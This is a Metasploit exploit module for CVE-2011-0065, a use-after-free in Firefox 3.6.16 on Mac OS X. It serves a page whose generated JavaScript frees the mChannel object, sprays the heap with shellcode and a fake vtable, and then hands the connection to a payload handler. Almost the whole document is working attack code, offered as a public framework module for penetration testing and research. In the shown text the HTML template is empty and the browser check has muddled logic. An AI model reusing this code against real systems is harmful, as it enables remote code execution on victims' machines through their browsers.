## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML #include Msf::Exploit::Remote::BrowserAutopwn # #autopwn_info({ # :ua_name => HttpClients::FF, # :ua_minver => "3.6.16", # :ua_maxver => "3.6.16", # :os_name => OperatingSystems::Match::MAC_OSX, # :javascript => true, # :rank => NormalRanking, #}) def initialize(info = {}) super(update_info(info, 'Name' => 'Mozilla Firefox 3.6.16 mChannel Use-After-Free', 'Description' => %q{ This module exploits a use-after-free vulnerability in Mozilla Firefox 3.6.16. An OBJECT element, mChannel, can be freed via the OnChannelRedirect method of the nsIChannelEventSink Interface. mChannel becomes a dangling pointer and can be reused when setting the OBJECTs data attribute. This module has been tested on Mac OS X 10.6.6, 10.6.7, 10.6.8, 10.7.2 and 10.7.3. }, 'License' => MSF_LICENSE, 'Author' => [ 'regenrecht', # discovery 'Rh0', # windows metasploit module 'argp ' # mac os x version ], 'References' => [ ['CVE', '2011-0065'], ['OSVDB', '72085'], ['URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=634986'], ['URL', 'http://www.mozilla.org/security/announce/2011/mfsa2011-13.html'] ], 'Payload' => { 'Space' => 1024, }, 'Platform' => 'osx', 'Targets' => [ [ # Firefox 3.6.16 on Lion runs as a 32-bit process 'Firefox 3.6.16 on Mac OS X (10.6.6, 10.6.7, 10.6.8, 10.7.2 and 10.7.3)', { 'Arch' => ARCH_X86, 'Fakevtable' => 0x2727, 'Fakefunc' => 0x2727001c, } ], ], 'DefaultTarget' => 0, 'DisclosureDate' => '2011-05-10' )) end def on_request_uri(cli, request) # random javascript variable names js_element_name = rand_text_alpha(rand(10) + 5) js_obj_addr_name = rand_text_alpha(rand(10) + 5) js_sc_name = rand_text_alpha(rand(10) + 5) js_ret_addr_name = rand_text_alpha(rand(10) + 5) js_chunk_name = rand_text_alpha(rand(10) + 5) js_final_chunk_name = rand_text_alpha(rand(10) + 5) js_block_name = rand_text_alpha(rand(10) + 5) js_array_name = rand_text_alpha(rand(10) + 5) # check for non vulnerable targets agent = request.headers['User-Agent'] if agent !~ /Intel Mac OS X 10\.6/ or agent !~ /Intel Mac OS X 10\.7/ and agent !~ /Firefox\/3\.6\.16/ vprint_error("Target not supported: #{agent}") send_not_found(cli) return end # re-generate the payload return if ((payload = regenerate_payload(cli).encoded) == nil) payload_buf = '' payload_buf << payload escaped_payload = Rex::Text.to_unescape(payload_buf) # setup the fake memory references my_target = targets[0] # in case we add more targets later fakevtable = Rex::Text.to_unescape([my_target['Fakevtable']].pack('v')) fakefunc = Rex::Text.to_unescape([my_target['Fakefunc']].pack('V*')) exploit_js = <<-JS #{js_element_name} = document.getElementById("d"); #{js_element_name}.QueryInterface(Components.interfaces.nsIChannelEventSink); #{js_element_name}.onChannelRedirect(null, new Object, 0) #{js_obj_addr_name} = unescape("\x00#{fakevtable}"); var #{js_sc_name} = unescape("#{escaped_payload}"); var #{js_ret_addr_name} = unescape("#{fakefunc}"); while(#{js_ret_addr_name}.length < 0x120) { #{js_ret_addr_name} += #{js_ret_addr_name}; } var #{js_chunk_name} = #{js_ret_addr_name}.substring(0, 0x18); #{js_chunk_name} += #{js_sc_name}; #{js_chunk_name} += #{js_ret_addr_name}; var #{js_final_chunk_name} = #{js_chunk_name}.substring(0, 0x10000 / 2); while(#{js_final_chunk_name}.length < 0x800000) { #{js_final_chunk_name} += #{js_final_chunk_name}; } var #{js_block_name} = #{js_final_chunk_name}.substring(0, 0x80000 - #{js_sc_name}.length - 0x24 / 2 - 0x4 / 2 - 0x2 / 2); #{js_array_name} = new Array() for(n = 0; n < 0x220; n++) { #{js_array_name}[n] = #{js_block_name} + #{js_sc_name}; } JS html = <<-HTML HTML # remove the extra tabs html = html.gsub(/^ {4}/, '') print_status("Sending #{self.name}") send_response_html(cli, html, { 'Content-Type' => 'text/html' }) # handle the payload handler(cli) end end